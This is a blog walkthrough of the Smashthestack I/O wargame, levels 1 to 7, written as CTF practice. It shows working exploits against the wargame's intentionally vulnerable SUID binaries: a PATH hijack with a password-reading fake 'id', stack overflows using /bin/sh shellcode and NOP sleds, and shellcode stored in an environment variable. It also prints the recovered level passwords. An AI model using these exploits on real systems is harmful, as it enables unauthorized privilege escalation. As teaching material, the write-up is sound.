Smashthestack I/O Series Walkthrough

Smashthestack I/O Series Walkthrough

Walkthrough on solving the I/O series from the wargame site, Smashthestack

A few years ago I learnt about the website https://smashthestack.org, which allows people to attempt to complete challenges that the hosts have created. When I learnt about the website I started working on the I/O challenges but never completed the challenges in full, I decided as part of my studying for the CSAW CTF 2013 event I would try to complete as many as possible before the challenge and I also decided to make a blogpost to keep myself focus and for others to keep up with my progress.

I/O – level 1

I ssh’d into the first level with the credentials by the host on the website, once connected to the level1 game server I was greeted with the following information.

Levels are in /levels
Passes are in ~/.pass
Readmes in /home/level1

I opened up the readme file in the directory shown above, the file states that all programs in I/O are “SUID binaries” which run with privileges of the owner instead of the privileges of the owner. I logged in via ssh, the user account I logged in as was level1 which means I can only access files that are owned by level1 or everybody.

level1@io:~$ ls -lh /levels
-r-sr-x--- 1 level2  level1  7.6K Sep 22  2012 level01

When you run the program level(number) it will ask you for a certain input and then if correct a new bash shell will be presented with the rights of the next user to allow you to access files by that user and to be able to read the pass file for the password to log into the next level.

Description of privilege escalation by Smashthestack admins
 
When you run it will ask you for a password. Which you must somehow find.
Given the correct password it will launch a new shell with level2 rights.
 
level1@io:/levels$ ./level01 [something you have to figure out goes here]
Win.
level1@io:/levels$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1),1029(nosu)
-----------------
\_________> new privileges
 
as you can see, by the output of the "id" command you now have euid (effective user id)
of level2. You can now read files that belong to level2. The point is to use this right
to read the password file for the next level.
 
level1@io:/levels$ cat /home/level2/.pass
[BINGO YOU DID IT]

After reading through the instructions and introduction, I ran the level01 program to see what was required.

level1@io:~$ /levels/level01
You need to supply a password.
Usage: /levels/level01 [password]

The program expects to receive a password as well when it is executed, using the strings command I searched the binary to see if there any strings that could possibly the password that I was searching for but I was not able to find anything that looked like a password. I then opened the binary in a hexedit and was able to find the password to be “S.e.c.r.e.t.P.W”, I entered the password into the program and greeted with a “Win!”

level1@io:~$ hexedit /levels/level01
level1@io:~$ /levels/level01 SecretPW
Win!
 
You will find the ssh password for level2 in /home/level2/.pass
sh-4.2$ id
uid=1002(level2) gid=1001(level1) groups=1002(level2),1001(level1),1029(nosu)
sh-4.2$ cat /home/level2/.pass
tLmf7msJTJHEpw

Using the cat command I saw the password to ssh into level2 was “tLmf7msJTJHEpw”.

I/O – level 2

The level 2 challenge has two binaries to choose from level02 or level02_alt and also the source code for both of the binaries, looking at the source code I decided I would attempt level02.c.

//a little fun brought to you by bla
 
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
 
void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}
 
int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");
 
        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}

It appears that the level2 binary is expecting 2 valid inputs, looking up the signal I see that “SIGFPE” is caused when the arithemetic operation of “divide by zero”, since we want the catcher function to trigger as it awards me with a shell we want to cause this type of exception. Attempting this we get the failed message, looking back at the code I saw that if statement actually prevent this because it checks for if the second argument “is not 0”. Performing a man signal I learnt that negative numbers could be used to generate SIGFPE exceptions which could potentially get around the check in the if statement.

level2@io:~$ /levels/level02 -2147483648 -1
source code is available in level02.c
 
WIN!
sh-4.2$ id
uid=1003(level3) gid=1002(level2) groups=1003(level3),1002(level2),1029(nosu)
 
sh-4.2$ cat /home/level3/.pass
G2K2EP1luDpdNQ

The password for the third level was “G2K2EP1luDpdNQ”.

I/O – level 3

//bla, based on work by beach
 
#include <stdio.h>
#include <string.h>
 
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
 
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
 
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
 
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);
 
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
 
return 0;
}

There was only one challenge for level 3 in I/O, having a look at the source code for the binary which I included above. Straight away I see I need to get the good function to execute as this function spawns the shell for the next level. The bad function prints the memory location you are currently at and also the target memory location.

In the main function it begins with assigning a function pointer for the memory location for the bad function which is where we get the idea that the target memory location is where the good function is. The main function then creates an array of 50 bytes called buffer, then creates to see if the string entered with executing the binary is greater then 4 bytes.

level3@io:~$ /levels/level03 aaaa
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474

The output shows the current memory location (0x80484a4) and the target memory location (0x8048474). Going back to the main function if the input is less then 4 the program returns 0 and exits. The memcpy function copies the values of num bytes from the location pointed by source directly to the memory block pointed by destination, which means the program copies the length of the input into the buffer which is placed at the starting function pointer for bad. The memset function displays the address the function pointer is pointing too. I used gdb to debug the main function of the binary.

level3@io:~$ gdb -q /levels/level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
 
Dump of assembler code for function main:
0x080484c8 <+0>:     push   ebp
0x080484c9 <+1>:     mov    ebp,esp
0x080484cb <+3>:     sub    esp,0x78
0x080484ce <+6>:     and    esp,0xfffffff0
0x080484d1 <+9>:     mov    eax,0x0
0x080484d6 <+14>:    sub    esp,eax
0x080484d8 <+16>:    mov    DWORD PTR [ebp-0xc],0x80484a4
0x080484df <+23>:    cmp    DWORD PTR [ebp+0x8],0x2
0x080484e3 <+27>:    jne    0x80484fc <main+52>
0x080484e5 <+29>:    mov    eax,DWORD PTR [ebp+0xc]
0x080484e8 <+32>:    add    eax,0x4
0x080484eb <+35>:    mov    eax,DWORD PTR [eax]
0x080484ed <+37>:    mov    DWORD PTR [esp],eax
0x080484f0 <+40>:    call   0x804839c <strlen@plt>
0x080484f5 <+45>:    cmp    eax,0x3
0x080484f8 <+48>:    jbe    0x80484fc <main+52>
0x080484fa <+50>:    jmp    0x8048505 <main+61>
0x080484fc <+52>:    mov    DWORD PTR [ebp-0x5c],0x0
0x08048503 <+59>:    jmp    0x8048579 <main+177>
0x08048505 <+61>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048508 <+64>:    add    eax,0x4
0x0804850b <+67>:    mov    eax,DWORD PTR [eax]
0x0804850d <+69>:    mov    DWORD PTR [esp],eax
0x08048510 <+72>:    call   0x804839c <strlen@plt>
0x08048515 <+77>:    mov    DWORD PTR [esp+0x8],eax
0x08048519 <+81>:    mov    eax,DWORD PTR [ebp+0xc]
0x0804851c <+84>:    add    eax,0x4
0x0804851f <+87>:    mov    eax,DWORD PTR [eax]
0x08048521 <+89>:    mov    DWORD PTR [esp+0x4],eax
0x08048525 <+93>:    lea    eax,[ebp-0x58]
0x08048528 <+96>:    mov    DWORD PTR [esp],eax
0x0804852b <+99>:    call   0x804838c <memcpy@plt>
0x08048530 <+104>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048533 <+107>:   add    eax,0x4
0x08048536 <+110>:   mov    eax,DWORD PTR [eax]
0x08048538 <+112>:   mov    DWORD PTR [esp],eax
0x0804853b <+115>:   call   0x804839c <strlen@plt>
0x08048540 <+120>:   sub    eax,0x4
0x08048543 <+123>:   mov    DWORD PTR [esp+0x8],eax
0x08048547 <+127>:   mov    DWORD PTR [esp+0x4],0x0
0x0804854f <+135>:   lea    eax,[ebp-0x58]
---Type <return> to continue, or q <return> to quit---
 
0x08048552 <+138>:   mov    DWORD PTR [esp],eax
0x08048555 <+141>:   call   0x804835c <memset@plt>
0x0804855a <+146>:   mov    eax,DWORD PTR [ebp-0xc]
0x0804855d <+149>:   mov    DWORD PTR [esp+0x4],eax
0x08048561 <+153>:   mov    DWORD PTR [esp],0x80486c0
 0x08048568 <+160>:   call   0x80483ac <printf@plt>
0x0804856d <+165>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048570 <+168>:   call   eax
0x08048572 <+170>:   mov    DWORD PTR [ebp-0x5c],0x0
0x08048579 <+177>:   mov    eax,DWORD PTR [ebp-0x5c]
0x0804857c <+180>:   leave
0x0804857d <+181>:   ret
End of assembler dump.

I want to see the state of the stack is effected after the buffer has been sent, to do this I set a break point right after the memcpy function, the memory location being “0x08048530” and then ran the binary with a string of 5 A’s.

(gdb) break *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAA
Starting program: /levels/level03 AAAAA
 
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc60:     0xbffffc80      0xbffffe9a      0x00000005      0x00000001
0xbffffc70:     0xb7fff908      0xb7e878d0      0xbffffd84      0xbffffe8a
0xbffffc80:     0x41414141      0xb7eb7341      0x0000002f      0xb7fd1ff4
0xbffffc90:     0x00000000      0x080497c8      0xbffffca8      0x08048338
0xbffffca0:     0xb7ff0590      0x080497c8      0xbffffcd8      0x080485a9
0xbffffcb0:     0xb7fd2304      0xb7fd1ff4      0x08048590      0xbffffcd8
0xbffffcc0:     0xb7eb7505      0xb7ff0590      0x0804859b      0x080484a4
0xbffffcd0:     0x08048590      0x00000000      0xbffffd58      0xb7e9ee16
(gdb)

By trial an error I have found that 76 bytes is required to get to the point in memory where the function pointer for the bad function is, going back to the source code the binary the buffer is defined as “char buffer[50];” but because memcpy() doesn’t do checks to see if the input is inside the range of the buffer array thus allowing for the simple buffer overflow to occur in the binary. Taking all this information I know need to determine the point in memory where good function starts.

(gdb) disassemble good
Dump of assembler code for function good:
0x08048474 <+0>:     push   ebp
0x08048475 <+1>:     mov    ebp,esp
0x08048477 <+3>:     sub    esp,0x18
0x0804847a <+6>:     mov    DWORD PTR [esp],0x8048660
0x08048481 <+13>:    call   0x80483bc <puts@plt>
0x08048486 <+18>:    mov    DWORD PTR [esp+0x8],0x0
0x0804848e <+26>:    mov    DWORD PTR [esp+0x4],0x8048665
0x08048496 <+34>:    mov    DWORD PTR [esp],0x8048668
0x0804849d <+41>:    call   0x804837c <execl@plt>
0x080484a2 <+46>:    leave
0x080484a3 <+47>:    ret
End of assembler dump.

I now know the good function begins at the memory location “0x08048474” which means i add these bytes to the $(python -c ‘print “A”76’) like so $(python -c ‘print “A”76 + “\x74\x84\x04\x08”’) I will be overwrite the function pointer for the bad function’s memory location with the good function’s memory location, making the reverse order to the memory location as the stack operates as first in last out.

level3@io:~$ /levels/level03 $(python -c 'print "A"*76 + "\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.2$ cat /home/level4/.pass
766ShzwZAUbf4g
sh-4.2$

I/O – level 4

level4@io:~$ cat /levels/level04.c
#include <stdlib.h>
 
int main() {
 
system("id");
 
return 0;
}

This is a very simple binary the main function calls a system function which executes the “id” command, which I have used previously to view the user information about the current user. Having a look at the man page for the system function I learnt that system() executes a command specified in command by calling /bin/sh -c command, and returns after the command has been completed. The way a shell knows where to find a given command is because of environment variables, defined in PATH.

In context to this binary the system function sees the command “id” to execute so it reads the environment variable PATH information from left to right until a valid location for the “id” command to execute. I can have a look at the environment variable PATH as shown below.

level4@io:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Which means if I am able to add a new path for the command “id” I will have highjacked the system function. Each level has a tmp found assigned for it, /tmp/level4, there is a id.c which another user must of created, the source code for the new “id” command are shown below.

<pre class="line-pre">level4@io:/tmp/level4$ cat id.c
#include <stdlib.h>
#include <stdio.h>
 
int main() {
FILE *f;
char buf[256];
f = fopen("/home/level5/.pass", "r");
fread(buf, 1, 100, f);
printf("%s", buf);
}</pre>

This id variable simply opens the file containing the password and displays back to the screen. Now by compiling the source code with gcc I create the new “id” command and then I need to add the location of /tmp/level4 to the $PATH variable so the level04 binary will execute.

<code>level4@io:/tmp/level4$ export PATH=/tmp/level4:$PATH</code>
 
level4@io:/tmp/level4$ echo $PATH
/tmp/level4:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

As the above output shows that the directory /tmp/level4 to that start of the environment variable list which is before /usr/bin which is where the command “id” is actually stored.

level4@io:/tmp/level4$ gcc id.c -o id
level4@io:/tmp/level4$ /levels/level04
Zx5VdzACNMY9lQ
·

I/O – level 5

In level 5 there are two versions to try.

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv) {
 
char buf[128];
 
if(argc < 2) return 1;
 
strcpy(buf, argv[1]);
 
printf("%s\n", buf);
 
return 0;
}

I decided after looking at the source codes for both of the binaries I would work with level05 instead of the alternative.

(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <+0>:     push   %ebp
0x080483b5 <+1>:     mov    %esp,%ebp
0x080483b7 <+3>:     sub    $0xa8,%esp
0x080483bd <+9>:     and    $0xfffffff0,%esp
0x080483c0 <+12>:    mov    $0x0,%eax
0x080483c5 <+17>:    sub    %eax,%esp
0x080483c7 <+19>:    cmpl   $0x1,0x8(%ebp)
0x080483cb <+23>:    jg     0x80483d9 <main+37>
0x080483cd <+25>:    movl   $0x1,-0x8c(%ebp)
0x080483d7 <+35>:    jmp    0x8048413 <main+95>
0x080483d9 <+37>:    mov    0xc(%ebp),%eax
0x080483dc <+40>:    add    $0x4,%eax
0x080483df <+43>:    mov    (%eax),%eax
0x080483e1 <+45>:    mov    %eax,0x4(%esp)
0x080483e5 <+49>:    lea    -0x88(%ebp),%eax
0x080483eb <+55>:    mov    %eax,(%esp)
0x080483ee <+58>:    call   0x80482d4 <strcpy@plt>
0x080483f3 <+63>:    lea    -0x88(%ebp),%eax
0x080483f9 <+69>:    mov    %eax,0x4(%esp)
0x080483fd <+73>:    movl   $0x8048524,(%esp)
0x08048404 <+80>:    call   0x80482b4 <printf@plt>
0x08048409 <+85>:    movl   $0x0,-0x8c(%ebp)
0x08048413 <+95>:    mov    -0x8c(%ebp),%eax
0x08048419 <+101>:   leave
0x0804841a <+102>:   ret
End of assembler dump.

I decided I would run the binary like I did before in level03 with a python script creating input for the buffer. I set a breakpoint right after the strcpy() (0x080483f3) and used the previous method of running the binary with an assigned buffer, with the buffer string set to “128” bytes”

(gdb) break *0x080483f3
Breakpoint 1 at 0x80483f3
(gdb) run $(python -c 'print "A"*128')
Starting program: /levels/level05 $(python -c 'print "A"*128')
 
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/32xw $esp
0xbffffbb0:     0xbffffbd0      0xbffffe1f      0xb7ffeff4      0xbffffcb0
0xbffffbc0:     0xb7fffac0      0xbffffc84      0xb7feb662      0xbffffc74
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc20:     0x41414141      0x41414141      0x41414141      0x41414141

I remove the breakpoint and run the binary again getting the following output.

(gdb) run $(python -c 'print "A"*128')
Starting program: /levels/level05 $(python -c 'print "A"*128')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 18950) exited normally]

I then decided to attempt to find where the actual overflow occurs.

(gdb) run $(python -c 'print "A"*139')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 
Starting program: /levels/level05 $(python -c 'print "A"*139')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 [Inferior 1 (process 19039) exited normally]
 
(gdb) run $(python -c 'print "A"*140')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 
Starting program: /levels/level05 $(python -c 'print "A"*140')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
Program received signal SIGSEGV, Segmentation fault.
 0xb7e9ee00 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
 
Starting program: /levels/level05 $(python -c 'print "A"*144')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
Program received signal SIGSEGV, Segmentation fault.
 0x41414141 in ?? ()

From the above gdb output I found a buffer of 139 bytes is right before the EIP is overwritten and the next 4 bytes starting at byte 140 overwrite the EIP register crashing the binary. To verify these values even further I used the following code, run $(python -c 'print "A"*140 + "B"*4')

(gdb) run $(python -c 'print "A"*140 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /levels/level05 $(python -c 'print "A"*140 + "B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

The 4 B’s successfully overwrite the EIP register entirely. So this means I need to generate the shellcode which allow me to get a shell with the escalated privileges. I was able to find a possible working shellcode, http://insecure.org/stf/smashstack.html, the space for my shellcode is 139 bytes.

Shellcode
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

I modified the python script which I pass the binary when executing to the following run $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "B"*4')

(gdb) run $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /levels/level05 $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "B"*4')
ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/shBBBB
 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

I now need to determine the memory location I want to overwrite the EIP register with which will jump back to the start of the shellcode and begins executing said shellcode.

(gdb) x/600xb 0xbffffc40
 
0xbffffe10:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe18:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe20:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe28:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe30:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe38:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe40:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe48:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe50:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe58:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe60:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe68:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe70:     0x90    0x90    0x90    0x90    0x90    0x90    0xeb    0x18
0xbffffe78:     0x5e    0x89    0x76    0x08    0x31    0xc0    0x88    0x46
0xbffffe80:     0x07    0x89    0x46    0x0c    0x89    0xf3    0x8d    0x4e
0xbffffe88:     0x08    0x8d    0x56    0x0c    0xb0    0x0b    0xcd    0x80
0xbffffe90:     0xe8    0xe3    0xff    0xff    0xff    0x2f    0x62    0x69

I decided to jump to a memory location in the middle of my NOP sled to the location of “0xbffffe40”, taking this memory location I add it to the python script to get the final product of run $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x40\xfe\xff\xbf"')

level5@io:~$ /levels/level05 $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x40\xfe\xff\xbf"')
ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/sh@þÿ¿
sh-4.2$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.2$ cat /home/level6/.pass
l1tbXUH2Q/Eotw
sh-4.2$

I/O – Level 6

bla, based on work by nnp
 
#include <stdio.h>
#include <string.h>
 
void prompt_name(char *name, char *msg){
char buf[4096];
 
puts(msg);
read(0, buf, sizeof buf);
*strchr(buf, '\n') = 0;
strncpy(name, buf, 20);
}
 
void prompt_full_name(char *fullname) {
char last[20];
char first[20];
 
prompt_name(first, "Please enter your first name: ");
prompt_name(last, "Please enter your last name: ");
 
strcpy(fullname, first);
strcat(fullname, " ");
strcat(fullname, last);
}
 
int main(int argc, char **argv){
char fullname[42];
 
prompt_full_name(fullname);
printf("Welcome, %s\n", fullname);
 
return 0;
}

Looking at the source code above for the level06 binary file I saw again it’s most likely a buffer overflow challenge again. Running through the code of the binary starting at the main() function program declares a buffer of 42 bytes called fullname[], the program calls the function prompt_full_name() with fullname as a parameter for the function. The prompt_full_name() declares a buffer called last[] with a size of 20 bytes and then another buffer called first[] again with 20 bytes in size. The program then fills both these buffers declared in the prompt_full_name() with the prompt_name(). The prompt_name() function declares a buffer called buf[] and assigns 4092 bytes to the buffer, the function then reads the value of itself and then fills the remaining space of the buffer.

Next the prompt_name() uses http://www.cplusplus.com/reference/cstring/strncpy/ to copy 20 bytes from buf[] into the name buffer as a parameter, so basically the prompt_name() copies exactly 20 bytes from the user’s first input into the first[] but then copies the next 20 bytes of the user’s input into the last[] buffer without including a null byte to the end of the first[], the null byte is added to the end of the last[] to show the end of the string. But later on in the program strcpy() is used in the prompt_full_name() function to copy the parameter first to the parameter fullname, since strcpy() copies all bytes until it hits the null byte, strcpy() copys all the bytes in first[] and last[] to the parameter fullname. And then concatenates a space with strcat() to the end of the parameter fullname and then again concatenates the last[] to the end of the same parameter.

To demostrate I show the application receiving 20 A’s for the first[] and 19 B’s for last[], since last[] doesn’t contain the full 20 bytes as expected the null byte is added to be the 20th byte for the last[].

(gdb) run
Starting program: /levels/level06
Please enter your first name:
AAAAAAAAAAAAAAAAAAAA
Please enter your last name:
BBBBBBBBBBBBBBBBBBB
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBB
 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

From the above output you can see strcpy() has copied first[] and last[] to the fullname, appends the space and then appends last[] again which has results in the buffer overflow in the application. I conclude that the final 4 bytes of last[] are the bytes that overwrite the EIP register to test this I repeat the entry above but change the final 4 bytes of last[] to C’s.

(gdb) run
Starting program: /levels/level06
Please enter your first name:
AAAAAAAAAAAAAAAAAAAA
Please enter your last name:
BBBBBBBBBBBBBBCCCCC
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBCCCCC BBBBBBBBBBBBBBCCCCC
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

Now I have caused the buffer overflow and I know what bytes overwrite the EIP register I need to get the shellcode I want to be executed, I decided to use the exact same shellcode I used in the I/O level 5 challenge.

shellcode
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

The shellcode itself is 38 bytes and the buffer overflow in the programs occurs with 35 bytes + 4 bytes which actually overwrite the EIP register, this means there is not enough space for the actual shellcode in the buffer I send the application. I actually began stuck at this point for awhile looking for a smaller shellcode to use, but then I decided to go back through the past challenges to see if I could find any hints.

I came up with the idea of combing the level04 and level05 challenges together which is I can store my shellcode in an environment variable I can then overwrite the EIP register with the location of the environment variable containing my shellcode. Using the following code I wrote my shellcode to an environment variable called shellcode which contains a python script to be executed.

level6@io:~$ export SHELLCODE=$(python -c 'print "\x90"*100 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')
 
level6@io:~$ env
SHELLCODE=ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/sh
TERM=xterm
SHELL=/bin/bash
SSH_TTY=/dev/pts/2
USER=level6
MAIL=/var/mail/level6
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/level6
SHLVL=1
HOME=/home/level6
LOGNAME=level6

As you can see my shellcode as been added to the environment variables of the machine, now if I can find the location of the environment variable SHELLCODE in memory I can overwrite the EIP register with the memory address and have my shellcode executed. In my research for learning the memory location of an environment variable I learnt that id() in python returns the “identity” of an object which just happens to be the location in memory of that object, so using the following python code I attempted to identify the memory address of the SHELLCODE environment variable I had created.

import os
id('SHELLCODE')

Which gave me the output of ‘3084264736’, this didn’t seem right or useable so with more http://stackoverflow.com/questions/16408472/print-memory-address-of-python-variable I found this python code which would format the output from id() into a useable format.

import os
x = 4
print hex(id('SHELLCODE'))

The second python script gave me the memory address of “0xb7d62520” for the SHELLCODE environment variable, with this in mind I can now create my buffer that I will send to the program which will overwrite the EIP register of said program for the memory address of the SHELLCODE environment variable.

AAAAAAAAAAAAAAAAAAAA # 20's for first[]
 
BBBBBBBBBBBBBBB\x20\x25\xd6\xb7 # 14 B's plus memory address

I created a directory called level6 in the /tmp directory and used python to perform the following.

level6@io:/tmp/level6$ python -c 'print "A"*20 + "\n" + "Z" * 4075 + "B"*14 + "\x20\x25\xd6\xb7" + "C\n"' &amp;gt; exploit
level6@io:/tmp/level6$ ls
exploit

I now have a file called exploit in the level6 tmp directory which contains the buffer A"*20 + "\n" + "Z" * 4075 + "B"*14 + "\x20\x25\xd6\xb7" + "C\n", I can now use cat to pipe the contents of the exploit in the program when executed.

level6@io:/tmp/level6$ cat exploit | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB_×ÿ¿C BBBBBBBBBBBBBB_×ÿ¿C
Segmentation fault

Proving that cat’ing the exploit file and piping the contents into the program worked but for some reason didn’t quite hit my EIP register overwrite. I found the problem to be that the memory address I found using python was not actually the correct memory address of the SHELLCODE environment variable. With further research I found out about the following c code which when compiled I can pass the binary an environment variable name and it would print back the memory address for the variable.

#include <stdlib.h>
#include <stdio.h>
 
int main(int argc, char *argv[]) {
char *addr;
if (argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}
 
addr = getenv(argv[1]);
if (addr == NULL)
printf("The environment variable %s doesn't exist.\n", argv[1]);
else
printf("%s is located at %p\n", argv[1], addr);
 
return(0);
}
level6@io:/tmp/level6$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbfffd778

This code found a completely different memory address which I entered into my buffer and ran the exploit code again, A"*20 + "\n" + "a"*4075 + "B"*14 + "\x78\xd7\xff\xbf" + "C\n"

level6@io:/tmp/level6$ cat exploit | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBx×ÿ¿C BBBBBBBBBBBBBBx×ÿ¿C
level6@io:/tmp/level6$ (cat exploit; cat) | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBx×ÿ¿C BBBBBBBBBBBBBBx×ÿ¿C
whoami
level7
cat /level7/.pass
cat: /level7/.pass: No such file or directory
cat /home/level7/.pass
PyGP1wxxZh6TXg

You might notice above that I did a double cat, this is because STDIN closes straight after sending the first cat but by using a second cat it forces STDIN to stay open. This was quite a stressful buffer overflow to perform.

I/O – Level 7

//written by bla
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
int main(int argc, char **argv)
{
 
int count = atoi(argv[1]);
int buf[10];
 
if(count >= 10 )
return 1;
 
memcpy(buf, argv[2], count * sizeof(int));
 
if(count == 0x574f4c46) {
printf("WIN!\n");
execl("/bin/sh", "sh" ,NULL);
} else
printf("Not today son\n");
 
return 0;
}

